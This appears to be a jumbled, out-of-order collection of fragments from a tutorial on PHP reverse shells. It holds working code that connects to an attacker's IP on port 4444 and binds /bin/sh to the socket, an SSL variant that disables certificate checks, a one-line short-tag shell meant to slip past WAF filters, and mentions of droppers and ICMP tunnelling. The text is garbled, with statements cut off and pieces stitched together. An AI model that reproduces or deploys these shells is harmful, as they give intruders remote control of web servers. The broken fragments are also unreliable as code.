fclose($sock); ?>
<?= $c=fsockopen("10.0.0.1",4444);$d=exec("/bin/sh -i <&3 >&3 2>&3"); ?> Instead of embedding the entire shell in one file, a small "dropper" PHP script fetches a secondary payload from a remote server: Reverse Shell Php
$context = stream_context_create(['ssl' => ['verify_peer' => false]]); $sock = stream_socket_client('ssl://192.168.1.100:443', $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $context); Some networks block arbitrary TCP ports but allow ICMP (ping). An advanced reverse shell can encode commands in ICMP packets using tools like icmpsh or custom PHP scripts. 3. Short Obfuscation (Bypassing <?php detection) Some WAFs block scripts starting with <?php . Attackers use tags like <?= (short echo) or JavaScript-like obfuscation: fclose($sock);
elseif (function_exists('system')) while ($cmd = fgets($sock)) ob_start(); system($cmd); fwrite($sock, ob_get_clean() . "\n"); Short Obfuscation (Bypassing <
<?php // Attacker's IP and listening port $ip = '192.168.1.100'; $port = 4444; // Create a TCP socket $sock = fsockopen($ip, $port, $errno, $errstr, 30);
// Execute /bin/sh (Unix) or cmd.exe (Windows) $process = proc_open('/bin/sh', $descriptorspec, $pipes);
// Spawn a shell process $descriptorspec = [ 0 => $sock, // stdin 1 => $sock, // stdout 2 => $sock // stderr ];